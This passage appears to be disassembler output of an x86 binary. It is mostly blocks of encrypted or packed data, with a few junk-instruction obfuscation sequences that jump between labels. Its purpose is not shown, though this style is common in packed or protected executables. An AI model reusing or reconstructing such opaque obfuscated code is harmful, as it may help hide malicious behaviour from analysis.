3, 4540A718h, 54089A67h, 661AAC53h dd 792DBF42h, 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h dd 0DA8E20E1h, 86A234CBh, 450368h, 243C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push ecx mov ecx, 3D6B6360h dec ecx push ebp mov ebp, 0FBD22F2h dec ebp inc ebp or ebp, 69908DDh or ebp, 2FC049E8h neg ebp xor ebp, 0DA67EA45h xor ecx, ebp pop ebp add ecx, 7B33193h sub ecx, 389B1E0Ch mov edx, ecx pop ecx push 4BAAh mov [esp], esp add dword ptr [esp], 4 pop eax push ecx mov ecx, edx push edi mov edi, ecx mov [eax+8], edi pop edi pop ecx mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_535A7A ; --------------------------------------------------------------------------- db 0EEh dd 0B821A87Ch, 62635C4h, 0E0FFC503h, 1B0A205Fh, 3341A650h dd 44EFE1C8h, 283F70E1h, 53F36559h, 1BD77FDBh, 6BAD5BB1h dd 51E0933Fh, 787053C5h, 1C549BF3h, 0D2E89BBh, 48986DE7h dd 2C19129Ch, 3205EA67h, 185F3836h, 1FB7617Ah, 1FA0E69h dd 424DC014h, 780F8F7Ah, 1E17D8BFh, 9FD3422h, 7719B5EAh dd 15AD562h, 0ADE404EBh, 2EE918D6h, 6A000005h, 8448BF42h dd 0A367DE21h, 0BF83FA07h, 0DA9E15EAh, 72BE35CCh, 10F1B5B8h dd 31DED599h, 4FB2F6BAh, 6C9314D8h, 7B32CF5h, 19AD6B2Fh dd 45178AC2h, 570B9D62h, 773BB24Fh, 893DCF30h, 0D24FE11Eh dd 42689712h, 0C4A15AEh, 0B6668A48h, 747E10EFh, 7F28F9E5h dd 63450980h, 649A279Eh, 67482F28h, 0C1719511h, 0D4881AE7h dd 0D7AF5BDFh, 6A1FD2B4h, 28CCA834h, 0AF536029h, 0D7D2920Bh dd 0E0720428h, 4A47D61h, 0E5C484FDh, 0D668970Eh, 44F88A2Eh dd 60089A65h, 5D2198BCh, 8323B54Ah, 1FD365AEh, 1922BC47h dd 0F0948040h, 23DCCD8Dh, 2CC5E991h, 84h, 9D6245B9h, 0A1996B0Bh dd 0FDAD1FD3h, 0E9BE7204h, 5B078416h, 1FD3A183h, 67E26216h dd 609AA77h, 34AA3562h, 94BCB207h, 15BF0h, 45E80000h, 0B2031D60h dd 19BFB9Fh, 8704DC88h, 0E3971FD3h, 290C63Fh, 55ACFC18h dd 0EBF51BC3h, 33C5E9A9h, 0DBCD267Fh, 48EC9426h, 4CA702B6h dd 0B6F2A25Dh, 6E2EA74Bh, 0B35C73Ah, 9A714EF5h, 9ABE6239h dd 6F6FFE08h, 950CF3B2h, 0B029D6D1h, 0B648B7F0h, 0FC73EA0Eh dd 9FFC467Ch, 59AF9778h, 7A22B44Dh, 0A402B2D6h, 8E17CB5Dh dd 0E25BDF71h, 0EB7D8422h, 3AA41F43h, 0CB42BFE7h, 0CD5FA007h dd 0DE709119h, 77E1FD7Ch, 936A42EEh, 49FD1FD3h, 0B4BA8F25h dd 4CF3F094h, 80000000h, 0EA06145h, 1FB1505Ah, 0C9588615h dd 0E9AD24DDh, 0FEB244BDh, 60C254ABh, 0B3EFDE1h, 0A2F094BAh dd 4Fh, 0A061452Fh, 0B34E5A0Eh, 0D32E7A3Ah, 9E841741h dd 0A520C12h, 6941ED66h, 0FC1FD376h, 53922448h, 9F071AC4h dd 4574EB62h, 0B5ED1D60h, 0F114F38Dh, 461BBB4Dh, 0DF1FD30Bh dd 0ECE8A54h, 0B44B5A99h, 0B2D67E10h, 942A5D1Ch, 170F0h dd 7CFD0000h, 0A16F47F3h, 4E021FD3h, 0A15129D5h, 30E41FD3h dd 0B34E5C0Ch, 0C53A6D21h, 0BC22A133h, 45BC4565h, 0BB3459DEh dd 0F0B6AE0Fh, 0D9F5315h, 3A54E59h, 21E15AFEh, 0E2C77788h dd 0BE82F91Dh, 78416E9h, 7EA25F47h, 0F2B610E2h, 0D40A9925h dd 2EA55A4Dh, 30C23D6Ah, 42D42B7Ch, 869B43BEh, 0A565DE21h dd 0B86CFE03h, 0D88012EDh, 89550E34h, 0E8C9E4D1h, 0D6A34DC4h dd 0F7097415h, 11Eh, 95A284h, 0B716DB87h, 0FC315F0h, 6840007Dh dd 53530799h, 36E60AAEh, 0DD248271h, 0A9FEC239h, 9710C456h dd 792FEF68h, 2A4EF688h, 45991498h, 0BD34CBDCh, 74564613h dd 0E2C78709h, 0BFE38B1Dh, 4726h, 93A2B300h, 73FC85FEh dd 0D3A1EFC7h, 0AACE821Fh, 0D3A2A60Eh, 0D365191Fh, 0D3A15B33h dd 7F5FEA1Fh, 0DA5336FFh, 0E7189151h, 0A2BF27C3h, 72321FD3h dd 16E9BC37h, 0A638DC84h, 0C574D8FEh, 60879204h, 931645BCh dd 9F000000h, 870095A2h, 0F0BB52DBh, 4991C715h, 0A3ADD187h dd 0D52A7F2Fh, 0BCEB9F31h, 0E2926F37h, 3AB3DC4h, 8324E85Fh dd 7B4AEA7Ch, 8925F337h, 9B4FE11Eh, 0DD61F30Ch, 76B17C62h dd 0A161F7E7h, 0BD65F708h, 37C09844h, 9F5325F3h, 23DCCB7Bh dd 9FF245ACh, 0C8DD9D26h, 0D9FDA537h, 192F1B3Dh, 0A306C61Ch dd 7F3FB85Ch, 22B4D829h, 3EC3E5A5h, 6DA982ACh, 0AE1EAC5h dd 15924266h, 8A3AD5DEh, 0AC54E629h, 65E47608h, 5F320579h dd 0D8183AE6h, 0FC3223Eh, 0F37C2198h, 0D3A16F47h, 2A4E021Fh dd 0B42D60D7h, 0F998E608h, 64DD9115h, 69FB06A4h, 34E09BC1h dd 99C0537Eh, 782FE375h, 5B4C1087h, 147212A4h, 0EA4448A4h dd 4CD5835Bh, 0EAA2C8A0h, 26D25B44h, 44EAA24Eh, 65892DE1h dd 940DF2B5h, 0ED04245Eh, 0EAE76941h, 2248FC44h, 0ACD0ECA2h dd 0C9367135h, 0D9268337h, 0EF209347h, 2FFA95Dh, 18F7BC70h dd 5AD30B8Ah, 90914DCCh, 0AD71E817h, 4FB0F9FAh, 0DF7115BDh dd 35C0h, 0FEAA3300h, 44EAD226h, 0AC8430B9h, 3F44EAD1h dd 6F37E78Bh, 34580092h, 0ECBC7CD1h, 0E4CF8315h, 4DF1992Bh dd 0A15028D4h, 2FE31FD3h, 8040BD0Bh, 9C44D629h, 67451578h dd 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh dd 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 5286A234h, 0BF57E289h dd 4, 835FFA01h, 148704EAh, 89515C24h, 4C181E1h, 83000000h dd 0C8704E9h, 0C895C24h, 0E1895124h, 4C181h, 0E9830000h dd 240C8704h, 2404895Ch, 86B95156h, 0F732877Eh, 6E1C1D9h dd 5D7FE181h, 814140EDh, 0BD64ACE9h, 7AE98136h, 89033CC0h dd 0F18959CEh, 4EC835Eh, 83242489h, 58042404h, 39685253h dd 5A083525h, 8142EAD1h, 1A9295EAh, 5AD38904h, 0B89C301h dd 24048B5Bh, 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h dd 8952240Ch, 4C281E2h, 81000000h, 4C2h, 24148700h, 4188E95Ch dd 9B2FFF9h, 269204F7h, 973BF226h, 43A4C8BDh, 3B47B884h dd 0C5030626h, 0A264E0FFh, 749157EEh, 723E341Bh, 42717D48h dd 4FA31FC7h, 0A6E414B3h, 32571EADh, 29F73E59h, 0AC12501Fh dd 371826E0h, 0CE4F253Ch, 0ACC73A2h, 859872ECh, 2A2B025Ah dd 98426946h, 2D921F3Dh, 4BE45E42h, 1646E66h, 31D47307h dd 0D38157Ah, 5CBD6768h, 0A3F32294h, 4EB4ACFh, 3514E0E6h dd 4B3E9h, 25DCD000h, 44BBEAAEh, 60A109CDh, 7B8425E9h dd 9B664004h, 171ED824h, 37FB728Fh, 581C937Ch, 763AB150h dd 8E57CE31h, 65916915h, 0EC2419ADh, 9D624579h, 0BB466424h dd 55510597h, 367135ACh, 84BA37C9h, 396DF17Bh, 688E36C8h dd 0E004CAF6h, 0EC067730h, 57AAFE3Eh, 62F91A31h, 2D782CBEh dd 0A73640D2h, 6DBDEA37h, 0D2DCE9C1h, 863D8F1Fh, 0DF919DB9h dd 0CD79F2A6h, 1FD2C0F5h, 0B930D488h, 0D74EB3F5h, 0E01F8A4Ah dd 659C0CBCh, 12056D3h, 569DA93Eh, 0E8CB7B9Fh, 89CEA652h dd 0BBEA1FD3h, 0B3570B44h, 0CE108F21h, 35AC5553h, 50C93671h dd 6DE61990h, 0D389E9C1h, 0A4C87C1Fh, 899D7212h, 0AB361FD3h dd 0A4B10833h, 765CF094h, 0E9000000h, 0B9D6245h, 0D3A1996Bh dd 3FCAD1Fh, 16EBBD71h, 0CFB85A84h, 0BD48BFB4h, 44E9F580h dd 0E9528C17h, 0F094AA90h, 123Dh, 7F2BB400h, 1FD397A7h dd 8F60863Ah, 6F87ABD0h, 7C3EA1C5h, 0A16F47F3h, 42021FD3h dd 48F89C63h, 6911A35Eh, 0EF109545h, 2EFCA95Dh, 0D3A1AA82h dd 8B43D1Fh, 1FD3A130h, 0C76B0FC3h, 0D7288135h, 32AC3B45h dd 0D249B6EFh, 0EF66990Eh, 0A0614578h, 0B44B5A0Eh, 2E06B23Bh dd 0C11FD3A1h, 0D357E90Dh, 0B9B8658h, 32F27FF6h, 350DB981h dd 0C81FD3A1h, 9C4C7014h, 0E562F40Bh, 597D8225h, 870001A9h dd 8D1FE0C7h, 8C7535E5h, 9C2E52FAh, 0AAFDBD3Ah, 0A21BC355h dd 0D3A21EF6h, 0D9FDB11Fh, 8EBB805Eh, 1FF094BAh, 67h, 0A06145ACh dd 0BF406727h, 5555099Bh, 0A1532BD7h, 32E61FD3h, 63F2FC8Eh dd 0A854DD7Bh, 1FD3A1D0h, 0DB8BAF63h, 86892ACBh, 0FFA76BE2h dd 54008902h, 1FD3A17Ch, 0BBF41B98h, 9D51E307h, 40C1E70Ch dd 29A80A9Ch, 0BA4386B5h, 37EAF094h, 77000000h, 0EA06145h dd 21B34E5Ah, 968B53E2h, 0B878F110h, 0DA8214FBh, 45C83FB6h dd 461ECA60h, 0D91FD3A1h, 4FEF8125h, 1FD3A17Ah, 0E5568813h dd 0F094BC94h, 139h, 6545C600h, 0A1431BC7h, 16D61FD3h dd 34DC6E91h, 0DD5AEC90h, 0F8A4961Dh, 1FD3A220h, 375BFFB3h dd 4DDF2087h, 7FA23CBBh, 275DD62Bh, 2585D16Bh, 8DE3B6DCh dd 0A15E49F9h, 0CC43670Fh, 46BFD265h, 0B8DC2386h, 4A32933Fh dd 23D715F0h, 44BBEAAAh, 76E5F21Eh, 5E825B74h, 708F18CCh dd 8D7235F9h, 7E895BFBh, 831225F2h, 0C874FD5Bh, 25F27EF0h dd 0FBABCF83h, 18DC53ACh, 2ADE708Fh, 2901AD7Dh, 0BC25F27Fh dd 0C355ACFCh, 41D3771Bh, 0DCD71C8Dh, 49FD8F33h, 8D11A35Ch dd 0E161CC12h, 0FEA97866h, 99E08A01h, 3409759Fh, 0E5h dd 95A2C1h, 0B716DB87h, 0FC315F0h, 21DEC97Dh, 4B5D1DAAh dd 0C5E292B6h, 0F3857C2Eh, 6115A74Bh, 0A327B946h, 3C6BB628h dd 0D7A24CC3h, 0F6097456h, 3Ah, 7C93A283h, 951E65C8h, 1A40E87Ah dd 0AD51E653h, 0FA208834h, 0DF931FD2h, 0F8D5AD4Dh, 0D9641FD2h dd 4BBC7905h, 45CCDE4Eh, 2AA3472Fh, 0D334167Eh, 5ED5891Fh dd 782Fh, 0F37CB800h, 0D3A16F47h, 2A4E021Fh, 0B42D60D7h dd 0F0BA7F08h, 2B7EB415h, 3CA14FAFh, 16CA0327h, 28D7D084h dd 45BAEDB1h, 204413B3h, 38C725F3h, 0D32C7BA6h, 4F42F55Ch dd 719016D6h, 0A828D44Dh, 4B1C191Dh, 5C3E16C2h, 1DD12C19h dd 7433E779h, 0E867F98Bh, 0DAAF88F6h, 0A34FD861h, 2C195CCBh dd 8531AA5Eh, 2C195CADh, 0CC688C40h, 223F5A4Ch, 37C43BEFh dd 0A9CD3277h, 95A246h, 9F5BDB87h, 0C8FE15F9h, 0F7B88AC0h dd 50B1F991h, 0C27608ACh, 0DFA31AE5h, 5A537C8h, 0D10A1BA2h dd 36EBF382h, 53178E71h, 6519AB54h, 7529BB44h, 1BE6C233h dd 0AB3DE189h, 0C153BCF7h, 0FF2EB02Fh, 35ECF271h, 52168D72h dd 0F918AA55h, 3, 4540A782h, 54089A67h, 661AAC53h, 792DBF42h dd 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h, 0DA8E20E1h dd 86A234CBh, 81595451h, 4C1h, 4E98300h, 5C240C87h, 81E78957h dd 4C7h, 4EF8300h, 5C243C87h, 57243489h, 0C781E789h, 4 dd 8704EF83h, 895C243Ch, 28BE2414h, 81310D7Bh, 9275BDEEh dd 0F4E6813Fh, 5377101Bh, 363D15BBh, 5BDE3177h, 24148B54h dd 5504C483h, 8F55F589h, 8B5D0842h, 89572414h, 4C781E7h dd 81000000h, 4C7h, 243C8700h, 2434FF5Ch, 4C4835Eh, 0F93C5DE9h dd 5B35CFFFh, 2640A4B8h, 0FFC50306h, 327E2DE0h, 0C6B1116Fh dd 0EFD71B66h, 2C99330Ch, 5EF80A4Eh, 9283F42h, 87F2647Ch dd 0C5648161h, 0BB5C4000h, 105CA56Dh, 2C4A421Fh, 0CD03BC0Ch dd 0D3E90464h, 0A844111h, 0A3237F33h, 219CCA3Ch, 15E095Bh dd 0EA8D8D0Ah, 29062641h, 1F2CA58Dh, 5D8D8906h, 8B061F0Bh dd 1F0AA5B5h, 0D9D8B06h, 0C7061F11h, 1F20C585h, 5F6C06h dd 0C72EB200h, 1F137D85h, 6, 6E900h, 0D9290000h, 0C59E90CDh dd 105DB5FFh, 6A061Fh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 9797C5C3h, 2BE6679h, 5995FFFBh dd 6A061F2Dh, 4595FF00h, 8B061F1Dh, 61BEBC0h, 27300955h dd 0B0A6F665h, 7F75608Ch, 6718BA9Eh, 138C91A2h, 0B95CB2B9h dd 4EB0E75h, 2EA45CF2h, 4E8E9h, 857C3000h, 0A45B4A0Eh dd 0C041692Dh, 0DB248549h, 0FB06A064h, 777E3884h, 975BD22Fh dd 0B87CF31Ch, 0D69A11F0h, 0EEB72ED1h, 5FF1C975h, 4C8419ADh dd 8C0E8DC3h, 25F5278Ch, 62459E01h, 4F570B9Dh, 0EEAE3BB2h dd 722246B9h, 7149F535h, 41FD3A1h, 661AAC50h, 0CF3B241h dd 0B52ED27Ah, 0C53C6C2Ch, 0D3A15129h, 0C30E41Fh, 20DFC67Ah dd 0E9F5848Eh, 9F6AF6Fh, 8D7235E5h, 0AB565216h, 0BD387034h dd 629F09EAh, 0F28428D0h, 0A42DA64Ah, 0D3A220F8h, 0DBFFB31Fh dd 0F11E9549h, 904ECD5Fh, 73EA1791h, 0B8FBF8AFh, 8121B357h dd 1FD3A1ACh, 3424BA45h, 0DC2798FEh, 82A67504h, 9484ADECh dd 3040F0h, 45CD0000h, 6B0B9D62h, 1FD3A199h, 239A530h dd 0F094BCB7h, 156h, 6045E300h, 4C590D9Fh, 3C6D21B3h, 982731C3h dd 35CADB46h, 52ADFABEh, 614564DBh, 6E1A1294h, 1FD3A196h dd 2DD17529h, 41BEE79Bh, 2EB02BAFh, 0D74EB3F3h, 0D96B9413h dd 0EA7C8525h, 66D50988h, 0F094BA63h, 81802AEAh, 8A2347EFh dd 5Ch, 94614517h, 0B55DEF12h, 0DBD89811h, 7925A234h, 1FD3A1A1h dd 0B8DC8034h, 0C9387226h, 409E2D37h, 0C53CC5E1h, 0CA5CA501h dd 0DA6C9316h, 56E5F978h, 0F094BA73h, 58BAh, 61454700h dd 4E5A0EA0h, 79881EDEh, 0D3A205DDh, 0C553AB1Fh, 964030Fh dd 0E6781CD0h, 5BC618A7h, 0C83FB64Bh, 6F47F37Ch, 21FD3A1h dd 2B7A2A4Eh, 0CDA242D4h, 661FD3A1h, 758A1DDDh, 9C173BE3h dd 0BCA0F942h, 0E46DF094h, 0D3AD6038h, 0D42B7C1Fh, 2AC3E79Bh dd 1, 906545B7h, 0A155E71Ah, 0C169FB04h, 33E7791Dh, 45F98B74h dd 441CC862h, 0D71FD3A1h, 39ED7F23h, 7E02946Dh, 0C452DB03h dd 3A12BE47h, 0CD1FD3A1h, 647AF519h, 9B14EDBDh, 0A032CFDBh dd 0D05DD4F8h, 0A1C39B47h, 0A2561FD3h, 890C2B7Eh, 0B7036410h dd 0F4A815F0h, 0FFAFE562h, 4AB7F1D9h, 65EA10B8h, 8F3F63ECh dd 0AC70E718h, 0D27204FBh, 25F2F500h, 3DE4FA89h, 5A1E956Ah dd 0FE01A64Dh, 0FF2B86Ch, 8D31D57Dh, 9F6047FBh, 19F19D26h dd 0AC25F2F5h, 0BE42D4F8h, 0DB248545h, 27DA149h, 27467CDCh dd 0F321D3FEh, 0CCDB8BAFh, 35718227h, 0EE9628CCh, 5029D34Ah dd 7D09740Eh, 102h, 95A20Ah, 0C975FE87h, 1FD3A1F1h, 9320D084h dd 1E42EA7Ch, 0F0B6BD82h, 24B66A15h, 83B871A7h, 0FF917038h dd 7853157h, 0B4F3A3C7h, 9710D44Bh, 8522D668h, 0E964E87Ah dd 847B2CF5h, 5B16630Dh, 40B70974h, 44000000h, 17EABC7Ch dd 2EC04167h, 260F6286h, 1CAE5357h, 0AB57D074h, 1FD3A343h dd 0D07002B6h, 1FD3A1F8h, 0C975FE87h, 1FD3A1F1h, 31ACD084h dd 2564D1ADh, 0A39800ACh, 570B1FD3h, 7CB1E0h, 0A23A0000h dd 0DB870095h, 15F0BB52h, 7A52FE87h, 0D25F2BBh, 48FC3559h dd 5AA502B6h, 77881FE3h, 0BC7645E5h, 258425F2h, 129448DAh dd 4CCB5DEFh, 0D1609B92h, 6C93140Dh, 0E4A98EF5h, 0FEDFBF6Bh dd 0B9421C18h, 18FE350Dh, 0F014C82Ch, 0BD7103B7h, 639C09EAh dd 0F38529D1h, 8124E461h, 2044EC7Eh, 0F24539A5h, 9A7A269Fh dd 3D223F40h, 41D32C7Dh, 42BFE999h, 0EB6408B0h, 62867B2Bh dd 95A274EBh, 8A518700h, 5CA30652h, 55FC22CAh, 0FA739711h dd 0CF5B171h, 1CE3C67Ah, 1A3EE28Ah, 0F90F9E7Eh, 0FB8D4115h dd 289F6047h, 2ABC4364h, 7B2C7E8Ah, 699F2C36h, 4E970DE3h dd 0AF2A4EAEh, 4AB5F22Fh, 689911D1h, 0B740CD44h, 0B652AFF7h dd 4E7B11DEh, 7F8B171h, 663EEA63h, 0F94E7B11h, 36712145h dd 0FABA37C9h, 7F2F53AEh, 0B143D52Ah, 3275AC32h, 93C956CDh dd 0F198F41Ah, 37E70BBCh, 80FD8F70h, 9B0CE7C0h, 862AD264h dd 0F3CB77F4h, 864E7B25h, 0EF0A2ED2h, 15h, 6AF37C78h, 0D3A1E6BEh dd 29C5791Fh, 1FD3A151h, 0BE0C30E4h, 9A674557h, 0AC535408h dd 0BF42661Ah, 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh dd 20E1C97Dh, 34CBDA8Eh, 236886A2h, 89000070h, 0E6892434h dd 4C681h, 0EE830000h, 24348704h, 0E089505Ch, 405h, 42D00h dd 4870000h, 3C895C24h, 38356824h, 1C890000h, 0FABD5524h dd 0BF02CF4Ch, 8F58F0Fh, 3722EF81h, 0EF295C84h, 3722C781h dd 685D5C84h, 5689h, 81242489h, 42404h, 835B0000h, 3C8904ECh dd 8438F24h, 50241C8Bh, 405E089h, 83000000h, 48704C0h dd 3C8B5C24h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 0F93691E9h, 0F5335CFFh, 716EB311h, 0BD4A5173h, 465EB85Dh dd 0C5030626h, 0E625E0FFh, 76FE2FF1h, 98EB2449h, 0EDF7711Eh dd 78C6022Eh, 38F368B1h, 40723E92h, 0D8977ED8h, 0F46A3B6Fh dd 1366C08h, 1C0775EBh, 28C65A04h, 4883048Bh, 24C67761h dd 0BC772709h, 546A18E1h, 211661C2h, 4EB37DBh, 0CF0E223h dd 581E9h, 45BCF000h, 649B0ACEh, 808129EDh, 9B644509h dd 0BB466024h, 373EF844h, 571B926Fh, 783CB35Ch, 965AD130h dd 0AE77EE11h, 5AB18935h, 0C4419ADh, 0FBC04D83h, 38D63A42h dd 6245B114h, 4F570B9Dh, 30773BB2h, 761AE7C3h, 887730E4h dd 68E5D90Fh, 0A7D9AB75h, 0E6FB5C7Fh, 3C6206DDh, 9F546494h dd 67F91D63h, 8C38F2B3h, 1FD356B4h, 0C6E39347h, 5BFFA739h dd 7232BFC9h, 8A1CCC33h, 6D85377h, 451DC952h, 0D81FD356h dd 57500024h, 3B6D31A8h, 899BE944h, 29CD032Fh, 0F09C25B2h dd 1FD32F18h, 23D3F7ABh, 0C6397085h, 0D7DC9022h, 9514A638h dd 31D0D849h, 4EB1F6BAh, 719E15D5h, 461BBB4Dh, 0DF1FD32Eh dd 0E8B18A54h, 5F094CFh, 74h, 0ECBC7C92h, 0B7DB8315h, 0CD5FA007h dd 0D5111A50h, 0E86DE48Dh, 505628C4h, 3B6A1FD3h, 0F26D0642h dd 49ED52EFh, 5EA303B7h, 0AB33C2CCh, 14CA5582h, 94905227h dd 17BF0h, 7C080000h, 90C7E446h, 678DD88Fh, 950E6B68h dd 0BF6F93B9h, 7D7697E6h, 44EEB604h, 4B5A0EA0h, 3B6E22B4h dd 992832C4h, 36C9DC45h, 0B08834BDh, 431FD2D3h, 30F46B8Fh dd 9A118877h, 13EEBC7Ch, 5B5D981h, 1ACE60A1h, 2EE2748Bh dd 40F48679h, 53079968h, 6F17A956h, 0B17C62E1h, 0F928B631h dd 0A05F48ADh, 9E45C27Ah, 0FDA1589Bh, 1AE5C286h, 2BD6D488h dd 0FABA3799h, 0B53054ABh, 0FF92F29h, 96AC4B8Dh, 3F2983AAh dd 4DF1FE8Bh, 7AB69329h, 86F7F094h, 6E000000h, 7507FAAEh dd 4546A9CDh, 0EB169461h, 9945CE47h, 1FD3A1C1h, 0EA7CA054h dd 0FB8D7436h, 10A25F47h, 9AA495Ch, 0C6D06206h, 2E7AA737h dd 9C292FD3h, 0A18F6713h, 6E221FD3h, 490FCF4Ah, 0BFE31C89h dd 0F36A970Fh, 0F88A772Fh, 89A6544h, 0F9F329A6h, 3D1975CAh dd 872BE4CFh, 45F6E863h, 0F094BB04h, 5BA9h, 0BC7C3600h dd 0DB8315ECh, 629F07B7h, 698C1CD0h, 7D31C33Ch, 8E32D62Bh dd 0B02EBDFCh, 55CC3571h, 9F6045DEh, 0A1986D0Dh, 0F7AE1FD3h dd 0E8C27608h, 0A1C09844h, 9F531FD3h, 0F3B569FBh, 9A44D30Eh dd 1DDD6693h, 0C13E6B88h, 607EF91Dh, 94BC9EDBh, 62FF0h dd 0E6A60000h, 0B91C40BFh, 0A9C6545h, 35AE5156h, 3DCF3075h dd 4DDF7195h, 991110CEh, 0AD8AF168h, 62C36FE8h, 715F0B7h dd 9A0DC153h, 10B44D59h, 5DD60C99h, 0D881D979h, 6047F71Bh dd 4266269Fh, 61852DBFh, 0C15D2FCFh, 57E625F2h, 0F20D9A87h dd 43B8EE7Bh, 0B46C1732h, 6F47F36Ch, 225F2ABh, 2D7A2A4Eh dd 7B1FE2C6h, 8D7235E9h, 0A7C5DE14h, 0CE7A2E61h, 199418AAh dd 324B5CC5h, 3429F6ADh, 2DA44899h, 741A3683h, 137D709h dd 0A2640000h, 0DB870095h, 15F0B716h, 0C97D0FC3h, 0E8A821DEh dd 0A71E42BDh, 0A93BC4E3h, 6641B2F5h, 0BB5F0799h, 0B42AA529h dd 6A433A6Dh, 85F10871h, 65EE670Bh, 0F2DCE1B9h, 9CC07425h dd 0D2D89825h, 0D1F59D2Fh, 74797E3Bh, 5A8F09h, 7C1C0000h dd 8214EBBCh, 0D263B6DAh, 329A46BFh, 651FD3A3h, 6DFF00A5h dd 0B468A1C5h, 701CA522h, 1FD3A198h, 0A1673FEBh, 46FA1FD3h dd 9935590Dh, 1FD3A1C1h, 0A133CCDDh, 0B244BDEDh, 33FAE473h dd 0B736BF6h, 42EE672Ah, 1FD3A2DAh, 6020994Dh, 7F27B948h dd 92B5E45Bh, 3E000000h, 7E4467Ch, 0FDFDFF90h, 7B186D9h dd 0E0FAD27Eh, 0D98D1FD2h, 0D2E0653Dh, 9EC2F81Fh, 1D115A01h dd 0CE47EB8Fh, 44C19945h, 0A0541FD3h, 0CE57037Ch, 4315F05Dh dd 5E49FD8Fh, 41662AA1h, 0BD8C2CBEh, 4025F25Eh, 0B3F42DB1h dd 9E4AD34Ch, 25F25EC6h, 0A81A559h, 880194A3h, 18A63CDCh dd 0B22BDF1Ch, 0A6A57D29h, 84382C18h, 62AD5D4h, 7EC1F774h dd 0E221FC41h, 0B8EF9FC3h, 0A423B547h, 1CF3443Ah, 3DAC790Ch dd 229B3F76h, 3FA2D676h, 4EC57922h, 95A2D7h, 6A3EFE87h dd 3FC0E797h, 45E105ADh, 15F9E8A5h, 0F2B8848h, 0F9E88B63h dd 0C66A1E25h, 56E88C34h, 83FA05A2h, 8517E8BFh, 2E583DE5h dd 9656E318h, 0B75FF110h, 43A4C791h, 82C1FCCh, 0D7D0518Dh dd 0F026AF28h, 0F48E51CAh, 7E56F226h, 1130CFA9h, 367D375Dh dd 3865A4F9h, 0CED99D14h, 0BEEB9F31h, 0ADFBAF41h, 9945C254h dd 30D078C1h, 0B6F0A054h, 0A827B94Bh, 0EA69F736h, 2FDB64F4h dd 30D07857h, 621236EAh, 0B643BA45h, 78A9812Dh, 874F30D0h dd 2DB58380h, 0A6560A43h, 2ADAFE01h, 2901AD7Dh, 0BC30D091h dd 0C153AEFCh, 3FD17519h, 320h, 40A7A900h, 89A6745h, 1AAC5354h dd 2DBF4266h, 43D53A79h, 58EA178Fh, 6DFF02A4h, 7D0FF0B9h dd 8E20E1C9h, 0A234CBDAh, 0E0895086h, 405h, 42D00h, 4870000h dd 14895C24h, 0E6895624h, 4C681h, 0EE830000h, 24348704h dd 2404895Ch, 499568h, 24148900h, 4E56BF57h, 0EF811BA4h dd 27914B04h, 0F701C783h, 0F78147DFh, 0DCABBFBh, 685FF889h dd 25BAh, 83242489h, 5A042404h, 4EC81h, 4890000h, 8428F24h dd 5624148Bh, 0C681E689h, 4, 4C681h, 34870000h, 34FF5C24h dd 0C4815824h, 4, 0F930ADE9h, 4DB80FFFh, 306264Ch, 37E0FFC5h dd 121E8397h, 5850806Ch, 666A8377h, 2B654427h, 4C4080h dd 473040DAh, 907807Eh, 323F14A7h, 0DE29D786h, 6E55E851h dd 0F6317D7Dh, 5950D335h, 924E6302h, 6964D736h, 3C58C6C6h dd 2A0388E8h, 0F66F1C47h, 3D4A1A81h, 9F361D66h, 0DA72B34Fh dd 3371946Ch, 0EB302CB4h, 853BC604h, 4E6E914h, 0A9030000h dd 881DE158h, 6E3C0077h, 51581C93h, 337337AEh, 510B57CEh dd 30A75A4Ch, 51C8476Ch, 6FE61B8Dh, 8C03FCABh, 0C69E4AC3h dd 5919AD54h, 6245AE21h, 0EF9B249Dh, 1FD3A217h, 40D2F6AAh dd 893D8DC3h, 0F7DCF5BDh, 7E8323D3h, 0F8D07C05h, 8B1FD303h dd 7F8027D7h, 0AA2145EDh, 0C53EC1E6h, 5751A205h, 0CC7406AAh dd 456216A8h, 317428BAh, 0A3323CCEh, 3EC1E63Bh, 5CA503C7h dd 7A8721E5h, 907F34E8h, 0F1ED6CFEh, 3E983167h, 0D27C2462h dd 57AAFEAEh, 7A951EDEh, 8C1BDF56h, 6C41E173h, 821FD361h dd 9448DA25h, 38C7E211h, 0F1700294h, 8A7534EDh, 0B02EB9E6h dd 9B731FA8h, 2E1FD361h, 0F9C0567Ah, 14F094FCh, 51h, 9D6245A1h dd 0A1996B0Bh, 0A5301FD3h, 465F1F39h, 5B7F27B9h, 94BCF4C5h dd 250339F0h, 0B58851E7h, 157F014h, 0E4000000h, 14EBBC7Ch dd 8E6540F0h, 0B058EA25h, 0DFC67A0Ch, 0CFDA8E20h, 6565E1AEh dd 0AB4FCEADh, 5E800F19h, 0A61DE2C3h, 0C33AC5E2h, 0CB61454Ch dd 9AA01895h, 0A8440C26h dd 1FD315D0h, 790BAF63h, 8D1FE0C5h, 0D9D09009h, 0A06A9426h dd 92A29C23h, 7DF81CC0h, 0FE6C061h, 0F4B6669Bh, 2FD37B0Dh dd 4EB1F6B6h, 79F014BCh, 8A8BF2B5h, 3F09089Bh, 0A4E25871h dd 0CB40117Eh, 0EA9224DDh, 5C10A246h, 6D21B34Eh, 8337C946h dd 0C448DA27h, 3A989549h, 311823BBh, 7CF0948Eh, 78h, 0A0614509h dd 0B1505A0Eh, 5886151Fh, 0AB24DDC9h, 0A19E7622h, 0F9BA1FD3h dd 0A3DC8416h, 9054CBEFh, 0A559EB16h, 0B569FB04h, 0FF7C0EF3h dd 0D3A17B53h, 0AA5A0E1Fh, 0DD6F0100h, 4FAD805Eh, 18BC9CD2h dd 8F396D3Ch, 6AEEF06Bh, 0B8613834h, 78F1E5EBh, 0D2D8F4CCh dd 0AFD3871Fh, 94733019h, 407DF0h, 